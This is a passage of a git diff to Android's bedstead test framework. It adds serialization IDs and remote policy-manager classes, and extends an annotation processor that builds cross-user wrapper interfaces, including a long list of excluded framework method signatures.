diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
index 29bcfe5..34cb5ad 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
@@ -27,6 +27,8 @@
/** Implementation of {@link LongQuery}. */
public final class LongQueryHelper<E extends Queryable> implements LongQuery<E>, Serializable {
+ private static final long serialVersionUID = 1;
+
@Nullable private Long mEqualToValue = null;
@Nullable private Long mGreaterThanValue = null;
@Nullable private Long mGreaterThanOrEqualToValue = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java
index 502e2a6..25b2aae 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java
@@ -30,6 +30,8 @@
public final class NotificationQueryHelper<E extends Queryable> implements NotificationQuery<E>,
Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private final StringQueryHelper<E> mChannelId;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java
index 7bfae24..444d56d 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java
@@ -28,6 +28,8 @@
public final class PersistableBundleKeyQueryHelper<E extends Queryable>
implements PersistableBundleKeyQuery<E>, Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private Boolean mExpectsToExist = null;
private StringQueryHelper<E> mStringQuery = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
index 6e8a7a4..530ea83 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
@@ -31,6 +31,8 @@
public final class PersistableBundleQueryHelper<E extends Queryable>
implements PersistableBundleQuery<E>, Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private final Map<String, PersistableBundleKeyQueryHelper<E>> mKeyQueryHelpers =
new HashMap<>();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
index af6d390..76902df 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SerializableQueryHelper.java
@@ -26,6 +26,8 @@
public final class SerializableQueryHelper<E extends Queryable>
implements SerializableQuery<E>, Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private Serializable mEqualsValue;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
index 870cadc..a659887 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/SetQueryHelper.java
@@ -30,6 +30,8 @@
public final class SetQueryHelper<E extends Queryable, F, G extends Query<F>> implements SetQuery<E, F, G>, Serializable {
+ private static final long serialVersionUID = 1;
+
private E mQuery;
private final IntegerQueryHelper<E> mSizeQuery;
private final Set<G> mContainsByQuery = new HashSet<>();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
index eff4ca1..b7406d8 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/StringQueryHelper.java
@@ -26,6 +26,8 @@
public final class StringQueryHelper<E extends Queryable>
implements StringQuery<E>, Serializable{
+ private static final long serialVersionUID = 1;
+
private final transient E mQuery;
private String mEqualsValue;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java
index 0e40a24..c844ce2 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UriQueryHelper.java
@@ -29,6 +29,8 @@
public final class UriQueryHelper<E extends Queryable>
implements UriQuery<E>, Serializable{
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private Uri mEqualsValue;
private final StringQueryHelper<E> mStringValue = new StringQueryHelper<>();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
index 5a4c4ec..9bf2824 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/UserHandleQueryHelper.java
@@ -29,6 +29,8 @@
public final class UserHandleQueryHelper<E extends Queryable>
implements UserHandleQuery<E>, Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private UserHandle mEqualsValue;
private IntegerQueryHelper<E> mIdQuery;
diff --git a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDelegate.java b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDelegate.java
new file mode 100644
index 0000000..714208f
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDelegate.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remotedpc;
+
+import android.content.ComponentName;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppProvider;
+
+/**
+ * {@link RemotePolicyManager} subclass representing an app which has been delegated to.
+ */
+public final class RemoteDelegate extends RemotePolicyManager {
+
+ private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+ public static final TestApp sTestApp = sTestAppProvider.query()
+ .wherePackageName().isEqualTo("com.android.Delegate")
+ .get();
+
+ public RemoteDelegate(TestApp testApp, UserReference user) {
+ super(testApp, user);
+ }
+
+ @Nullable
+ @Override
+ public ComponentName componentName() {
+ return null;
+ }
+}
diff --git a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
index 5701913..01519a0 100644
--- a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
+++ b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
@@ -19,7 +19,6 @@
import static android.os.UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES;
import android.content.ComponentName;
-import android.content.Context;
import android.os.Build;
import android.os.UserHandle;
@@ -33,14 +32,10 @@
import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.nene.utils.Versions;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
import com.android.bedstead.testapp.TestAppProvider;
/** Entry point to RemoteDPC. */
-public final class RemoteDpc extends TestAppInstanceReference {
-
- // This must be instrumentation not instrumented to access the resources
- private static final Context sContext = TestApis.context().instrumentationContext();
+public final class RemoteDpc extends RemotePolicyManager {
public static final ComponentName DPC_COMPONENT_NAME = new ComponentName(
"com.android.RemoteDPC",
@@ -258,16 +253,9 @@
}
/**
- * Get the {@link TestAppInstanceReference} for the DPC.
- *
- */
- public TestAppInstanceReference app() {
- return sTestApp.instance(mDevicePolicyController.user());
- }
-
- /**
* Get the {@link ComponentName} of the DPC.
*/
+ @Override
public ComponentName componentName() {
return DPC_COMPONENT_NAME;
}
diff --git a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemotePolicyManager.java b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemotePolicyManager.java
new file mode 100644
index 0000000..8532ef3
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemotePolicyManager.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remotedpc;
+
+import android.content.ComponentName;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+
+/** A Remote app which can change device policy */
+public abstract class RemotePolicyManager extends TestAppInstance {
+
+ RemotePolicyManager(TestApp testApp, UserReference user) {
+ super(testApp, user);
+ }
+
+ /**
+ * Get the {@link ComponentName} of the device admin for the policy manager.
+ *
+ * <p>Null if there is no device admin
+ */
+ @Nullable
+ public abstract ComponentName componentName();
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java
index 57b31c5..0a6bafb 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java
@@ -28,6 +28,9 @@
import java.util.Set;
import java.util.stream.Collectors;
+import javax.lang.model.element.TypeElement;
+import javax.lang.model.type.TypeKind;
+import javax.lang.model.type.TypeMirror;
import javax.lang.model.util.Elements;
import javax.lang.model.util.Types;
@@ -39,20 +42,19 @@
private static final String[] API_FILES =
{"current.txt", "test-current.txt", "wifi-current.txt"};
- private static final Set<String> API_TXTS = initialiseApiTxts();
+ private static final Map<String, String> API_TXTS = initialiseApiTxts();
private static final Map<String, Apis> sPackageToApi = new HashMap<>();
- private static Set<String> initialiseApiTxts() {
+ private static Map<String, String> initialiseApiTxts() {
return Arrays.stream(API_FILES)
- .map(f -> {
+ .collect(Collectors.toMap(f -> f, f -> {
try {
return Resources.toString(Processor.class.getResource("/apis/" + f),
StandardCharsets.UTF_8);
} catch (IOException e) {
throw new IllegalStateException("Could not read file " + f);
}
- })
- .collect(Collectors.toSet());
+ }));
}
/**
@@ -62,30 +64,55 @@
if (sPackageToApi.containsKey(className)) {
return sPackageToApi.get(className);
}
-
ImmutableSet.Builder<MethodSignature> methods = ImmutableSet.builder();
- for (String apiTxt : API_TXTS) {
- methods.addAll(parseApiTxt(apiTxt, className, types, elements));
+ Set<String> parents = new HashSet<>();
+ findParents(parents, className, elements);
+ for (String c : parents) {
+ for (Map.Entry<String, String> apiTxt : API_TXTS.entrySet()) {
+ methods.addAll(
+ parseApiTxt(apiTxt.getKey(), apiTxt.getValue(), c, types, elements));
+ }
}
return new Apis(methods.build());
}
+ private static void findParents(Set<String> parents, String className, Elements elements) {
+ parents.add(className);
+
+ if (className.equals("java.lang.Object")) {
+ return;
+ }
+
+ TypeElement element = elements.getTypeElement(className);
+ System.out.println("Checking " + className + " got " + element);
+
+ TypeMirror superClass = element.getSuperclass();
+ if (!superClass.getKind().equals(TypeKind.NONE)) {
+ findParents(parents, superClass.toString(), elements);
+ }
+
+ element.getInterfaces().stream().map(TypeMirror::toString)
+ .forEach(c -> findParents(parents, c, elements));
+ }
+
private static Set<MethodSignature> parseApiTxt(
- String apiTxt, String className, Types types, Elements elements) {
+ String filename, String apiTxt, String className, Types types, Elements elements) {
+ System.out.println("Parsing for " + className);
+
int separatorPosition = className.lastIndexOf(".");
String packageName = className.substring(0, separatorPosition);
String simpleClassName = className.substring(separatorPosition + 1);
String[] packageSplit = apiTxt.split("package " + packageName + " \\{", 2);
if (packageSplit.length < 2) {
- System.out.println("Package " + packageName + " not in file");
+ System.out.println("Package " + packageName + " not in file " + filename);
// Package not in this file
return new HashSet<>();
}
- String[] classSplit = packageSplit[1].split("class " + simpleClassName + " \\{", 2);
+ String[] classSplit = packageSplit[1].split("class " + simpleClassName + " .*?\n", 2);
if (classSplit.length < 2) {
- System.out.println("Class " + simpleClassName + " not in file");
+ System.out.println("Class " + simpleClassName + " not in file " + filename);
// Class not in this file
return new HashSet<>();
}
@@ -106,10 +133,6 @@
if (!methodLine.startsWith("method")) {
return methodSignatures;
}
- if (methodLine.contains(" static ")) {
- continue; // We don't expose static methods
- }
-
try {
// Strip "method" and semicolon
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
index a1f950a..aa10a8c 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
@@ -76,20 +76,25 @@
string = string.replaceAll("@.+? ", "");
String[] parts = string.split(" ", 2);
- Visibility visibility = Visibility.valueOf(parts[0].toUpperCase());
+ Visibility visibility;
+ try {
+ visibility = Visibility.valueOf(parts[0].toUpperCase());
+ } catch (IllegalArgumentException e) {
+ throw new IllegalStateException("Error finding visibility in string " + string);
+ }
string = parts[1];
parts = string.split(" ", 2);
TypeMirror returnType;
- if (parts[0].equals("abstract")) {
- // Doesn't matter - we're wrapping anyway
+ while (parts[0].equals("abstract") || parts[0].equals("final")
+ || parts[0].equals("static")) {
+ // These don't affect the signature in ways we care about
string = parts[1];
parts = string.split(" ", 2);
- returnType = typeForString(parts[0], types, elements);
- } else {
- returnType = typeForString(parts[0], types, elements);
}
+ returnType = typeForString(parts[0], types, elements);
+
string = parts[1];
parts = string.split("\\(", 2);
String methodName = parts[0];
@@ -97,11 +102,18 @@
parts = string.split("\\)", 2);
// Remove generic types as we don't need to care about them at this point
String parametersString = parts[0].replaceAll("<.*>", "");
- List<TypeMirror> parameters = Arrays.stream(parametersString.split(","))
- .map(String::trim)
- .filter(t -> !t.isEmpty())
- .map(t -> typeForString(t, types, elements))
- .collect(Collectors.toList());
+ // Remove varargs
+ parametersString = parametersString.replaceAll("\\.\\.\\.", "");
+ List<TypeMirror> parameters;
+ try {
+ parameters = Arrays.stream(parametersString.split(","))
+ .map(String::trim)
+ .filter(t -> !t.isEmpty())
+ .map(t -> typeForString(t, types, elements))
+ .collect(Collectors.toList());
+ } catch (IllegalStateException e) {
+ throw new IllegalStateException("Error parsing types from string " + parametersString);
+ }
string = parts[1];
Set<TypeMirror> exceptions = new HashSet<>();
if (string.contains("throws")) {
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index ba321d5..d93ff7e 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -34,7 +34,10 @@
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
import java.util.List;
+import java.util.Map;
import java.util.Set;
import java.util.stream.Collectors;
@@ -42,7 +45,6 @@
import javax.annotation.processing.RoundEnvironment;
import javax.annotation.processing.SupportedAnnotationTypes;
import javax.lang.model.SourceVersion;
-import javax.lang.model.element.ElementKind;
import javax.lang.model.element.ExecutableElement;
import javax.lang.model.element.Modifier;
import javax.lang.model.element.TypeElement;
@@ -57,7 +59,7 @@
*
* <p>This is started by including the {@link RemoteFrameworkClasses} annotation.
*
- * <p>For each entry in {@code SYSTEM_SERVICES} this will generate an interface including all public
+ * <p>For each entry in {@code FRAMEWORK_CLASSES} this will generate an interface including all public
* and test APIs with the {@code CrossUser} annotation. This interface will be named the same as the
* framework class except with a prefix of "Remote", and will be in the same package.
*
@@ -70,7 +72,7 @@
@AutoService(javax.annotation.processing.Processor.class)
public final class Processor extends AbstractProcessor {
- private static final String[] SYSTEM_SERVICES = {
+ private static final String[] FRAMEWORK_CLASSES = {
"android.app.admin.DevicePolicyManager",
"android.net.wifi.WifiManager",
"android.os.HardwarePropertiesManager",
@@ -78,12 +80,18 @@
"android.content.pm.PackageManager",
"android.content.pm.CrossProfileApps",
"android.content.pm.LauncherApps",
- "android.accounts.AccountManager"
+ "android.accounts.AccountManager",
+ "android.app.Activity",
+ "android.content.Context",
+ "android.content.ContentResolver",
+ "android.security.KeyChain"
};
private static final String PARENT_PROFILE_INSTANCE =
"public android.app.admin.DevicePolicyManager getParentProfileInstance(android"
+ ".content.ComponentName)";
+ private static final String GET_CONTENT_RESOLVER =
+ "public android.content.ContentResolver getContentResolver()";
private static final Set<String> BLOCKLISTED_METHODS = ImmutableSet.of(
// DevicePolicyManager
@@ -297,13 +305,342 @@
"public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
"public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)"
- );
+ "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)",
+ // Uses android.accounts.AccountManager
+ "public static android.accounts.AccountManager get(android.content.Context)",
+
+ // Activity
+
+ // Uses android.view.View
+ "public void addContentView(android.view.View, android.view.ViewGroup.LayoutParams)",
+ "@Nullable public android.view.View getCurrentFocus()",
+ "@Nullable public android.view.View onCreatePanelView(int)",
+ "@Nullable public android.view.View onCreateView(@NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet)",
+ "@Nullable public android.view.View onCreateView(@Nullable android.view.View, @NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet)",
+ "public boolean onPreparePanel(int, @Nullable android.view.View, @NonNull android.view.Menu)",
+ "public void openContextMenu(android.view.View)",
+ "public void registerForContextMenu(android.view.View)",
+ "public void setContentView(android.view.View)",
+ "public void setContentView(android.view.View, android.view.ViewGroup.LayoutParams)",
+ "public void unregisterForContextMenu(android.view.View)",
+
+ // Uses java.io.FileDescriptor
+ "public void dump(@NonNull String, @Nullable java.io.FileDescriptor, @NonNull java.io.PrintWriter, @Nullable String[])",
+
+ // Uses android.app.Activity
+ "@Deprecated public void finishActivityFromChild(@NonNull android.app.Activity, int)",
+ "@Deprecated public void finishFromChild(android.app.Activity)",
+ "public final android.app.Activity getParent()",
+ "@Deprecated public boolean navigateUpToFromChild(android.app.Activity, android.content.Intent)",
+ "protected void onChildTitleChanged(android.app.Activity, CharSequence)",
+ "@Deprecated public boolean onNavigateUpFromChild(android.app.Activity)",
+ "@Deprecated public void startActivityFromChild(@NonNull android.app.Activity, @RequiresPermission android.content.Intent, int)",
+ "@Deprecated public void startActivityFromChild(@NonNull android.app.Activity, @RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle)",
+ "@Deprecated public void startIntentSenderFromChild(android.app.Activity, android.content.IntentSender, int, android.content.Intent, int, int, int) throws android.content.IntentSender.SendIntentException",
+ "@Deprecated public void startIntentSenderFromChild(android.app.Activity, android.content.IntentSender, int, android.content.Intent, int, int, int, @Nullable android.os.Bundle) throws android.content.IntentSender.SendIntentException",
+
+ // Uses android.app.ActionBar
+ "@Nullable public android.app.ActionBar getActionBar()",
+
+ // Uses android.app.Application
+ "public final android.app.Application getApplication()",
+
+ // Uses android.app.Fragment
+ "@Deprecated public void onAttachFragment(android.app.Fragment)",
+ "@Deprecated public void startActivityFromFragment(@NonNull android.app.Fragment, @RequiresPermission android.content.Intent, int)",
+ "@Deprecated public void startActivityFromFragment(@NonNull android.app.Fragment, @RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle)",
+
+ // Uses android.app.FragmentManager
+ "@Deprecated public android.app.FragmentManager getFragmentManager()",
+
+ // Uses android.transition.Scene
+ "public android.transition.Scene getContentScene()",
+
+ // Uses android.transition.TransitionManager
+ "public android.transition.TransitionManager getContentTransitionManager()",
+ "public void setContentTransitionManager(android.transition.TransitionManager)",
+
+ // Uses Object
+ "@Nullable public Object getLastNonConfigurationInstance()",
+ "public Object onRetainNonConfigurationInstance()",
+
+ // Uses android.view.LayoutInflater
+ "@NonNull public android.view.LayoutInflater getLayoutInflater()",
+
+ // Uses android.view.MenuInflater
+ "@NonNull public android.view.MenuInflater getMenuInflater()",
+
+ // Uses android.app.LoaderManager
+ "@Deprecated public android.app.LoaderManager getLoaderManager()",
+
+ // Uses android.media.session.MediaController
+ "public final android.media.session.MediaController getMediaController()",
+
+ // Uses android.content.SharedPreferences
+ "public android.content.SharedPreferences getPreferences(int)",
+
+ // Uses android.view.SearchEvent
+ "public final android.view.SearchEvent getSearchEvent()",
+
+ // Uses android.window.SplashScreen
+ "@NonNull public final android.window.SplashScreen getSplashScreen()",
+
+ // Uses android.app.VoiceInteractor
+ "public android.app.VoiceInteractor getVoiceInteractor()",
+
+ // Uses android.view.Window
+ "public android.view.Window getWindow()",
+
+ // Uses android.view.WindowManager
+ "public android.view.WindowManager getWindowManager()",
+
+ // Uses android.database.Cursor
+ "@Deprecated public final android.database.Cursor managedQuery(android.net.Uri, String[], String, String[], String)",
+ "@Deprecated public void startManagingCursor(android.database.Cursor)",
+ "@Deprecated public void stopManagingCursor(android.database.Cursor)",
+
+ // Uses android.view.ActionMode
+ "@CallSuper public void onActionModeFinished(android.view.ActionMode)",
+ "@CallSuper public void onActionModeStarted(android.view.ActionMode)",
+ "@Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback)",
+ "@Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback, int)",
+ "@Nullable public android.view.ActionMode startActionMode(android.view.ActionMode.Callback)",
+ "@Nullable public android.view.ActionMode startActionMode(android.view.ActionMode.Callback, int)",
+
+ // Uses android.view.MenuItem
+ "public boolean onContextItemSelected(@NonNull android.view.MenuItem)",
+ "public void onContextMenuClosed(@NonNull android.view.Menu)",
+ "public boolean onMenuItemSelected(int, @NonNull android.view.MenuItem)",
+ "public boolean onOptionsItemSelected(@NonNull android.view.MenuItem)",
+
+ // Uses android.view.ContextMenu
+ "public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu.ContextMenuInfo)",
+
+ // Uses android.app.Dialog
+ "@Deprecated protected android.app.Dialog onCreateDialog(int)",
+ "@Deprecated @Nullable protected android.app.Dialog onCreateDialog(int, android.os.Bundle)",
+ "@Deprecated protected void onPrepareDialog(int, android.app.Dialog)",
+ "@Deprecated protected void onPrepareDialog(int, android.app.Dialog, android.os.Bundle)",
+
+ // Uses android.app.TaskStackBuilder
+ "public void onCreateNavigateUpTaskStack(android.app.TaskStackBuilder)",
+ "public void onPrepareNavigateUpTaskStack(android.app.TaskStackBuilder)",
+
+ // Uses android.view.Menu
+ "public boolean onCreateOptionsMenu(android.view.Menu)",
+ "public boolean onCreatePanelMenu(int, @NonNull android.view.Menu)",
+ "public boolean onMenuOpened(int, @NonNull android.view.Menu)",
+ "public void onOptionsMenuClosed(android.view.Menu)",
+ "public void onPanelClosed(int, @NonNull android.view.Menu)",
+ "public boolean onPrepareOptionsMenu(android.view.Menu)",
+
+ // Uses android.graphics.Canvas
+ "@Deprecated public boolean onCreateThumbnail(android.graphics.Bitmap, android.graphics.Canvas)",
+
+ // Uses android.os.CancellationSignal
+ "public void onGetDirectActions(@NonNull android.os.CancellationSignal, @NonNull java.util.function.Consumer<java.util.List<android.app.DirectAction>>)",
+ "public void onPerformDirectAction(@NonNull String, @NonNull android.os.Bundle, @NonNull android.os.CancellationSignal, @NonNull java.util.function.Consumer<android.os.Bundle>)",
+
+ // Uses android.view.SearchEvent
+ "public boolean onSearchRequested(@Nullable android.view.SearchEvent)",
+
+ // Uses android.app.Application.ActivityLifecycleCallbacks
+ "public void registerActivityLifecycleCallbacks(@NonNull android.app.Application.ActivityLifecycleCallbacks)",
+ "public void unregisterActivityLifecycleCallbacks(@NonNull android.app.Application.ActivityLifecycleCallbacks)",
+
+ // Uses Runnable
+ "public final void runOnUiThread(Runnable)",
+
+ // Uses android.widget.Toolbar
+ "public void setActionBar(@Nullable android.widget.Toolbar)",
+
+ // Uses android.app.SharedElementCallback
+ "public void setEnterSharedElementCallback(android.app.SharedElementCallback)",
+ "public void setExitSharedElementCallback(android.app.SharedElementCallback)",
+
+ // Uses Drawable
+ "public final void setFeatureDrawable(int, android.graphics.drawable.Drawable)",
+
+ // Uses android.media.session.MediaController
+ "public final void setMediaController(android.media.session.MediaController)",
+
+ // Context
+
+ // Uses Object
+ "public abstract Object getSystemService(@NonNull String)",
+
+ // ContextThemeWrapper
+ "protected void onApplyThemeResource(android.content.res.Resources.Theme, int, boolean)",
+
+ // Context
+
+ // Uses java.util.concurrent.Executor
+ "public boolean bindIsolatedService(@NonNull @RequiresPermission android.content.Intent, int, @NonNull String, @NonNull java.util.concurrent.Executor, @NonNull android.content.ServiceConnection)",
+ "public boolean bindService(@NonNull @RequiresPermission android.content.Intent, int, @NonNull java.util.concurrent.Executor, @NonNull android.content.ServiceConnection)",
+
+ // Uses android.content.ServiceConnection
+ "public abstract boolean bindService(@RequiresPermission android.content.Intent, @NonNull android.content.ServiceConnection, int)",
+ "public boolean bindServiceAsUser(@NonNull @RequiresPermission android.content.Intent, @NonNull android.content.ServiceConnection, int, @NonNull android.os.UserHandle)",
+ "public abstract void unbindService(@NonNull android.content.ServiceConnection)",
+ "public void updateServiceGroup(@NonNull android.content.ServiceConnection, int, int)",
+
+ // Uses android.content.Context
+ "@NonNull public android.content.Context createAttributionContext(@Nullable String)",
+ "public abstract android.content.Context createConfigurationContext(@NonNull android.content.res.Configuration)",
+ "@NonNull public android.content.Context createContext(@NonNull android.content.ContextParams)",
+ "public abstract android.content.Context createContextForSplit(String) throws android.content.pm.PackageManager.NameNotFoundException",
+ "public abstract android.content.Context createDeviceProtectedStorageContext()",
+ "@DisplayContext public abstract android.content.Context createDisplayContext(@NonNull android.view.Display)",
+ "public abstract android.content.Context createPackageContext(String, int) throws android.content.pm.PackageManager.NameNotFoundException",
+ "@NonNull @UiContext public android.content.Context createWindowContext(int, @Nullable android.os.Bundle)",
+ "@NonNull @UiContext public android.content.Context createWindowContext(@NonNull android.view.Display, int, @Nullable android.os.Bundle)",
+ "public abstract android.content.Context getApplicationContext()",
+
+ // Uses android.content.res.AssetManager
+ "public abstract android.content.res.AssetManager getAssets()",
+
+ // Uses java.lang.ClassLoader
+ "public abstract ClassLoader getClassLoader()",
+
+ // Uses android.view.Display
+ "@Nullable public android.view.Display getDisplay()",
+
+ // Uses android.graphics.drawable.Drawable
+ "@Nullable public final android.graphics.drawable.Drawable getDrawable(@DrawableRes int)",
+ "@Deprecated public abstract android.graphics.drawable.Drawable getWallpaper()",
+ "@Deprecated public abstract android.graphics.drawable.Drawable peekWallpaper()",
+
+ // Uses java.util.concurrent.Executor
+ "public java.util.concurrent.Executor getMainExecutor()",
+
+ // Uses android.os.Looper
+ "public abstract android.os.Looper getMainLooper()",
+
+ // Uses android.content.pm.PackageManager
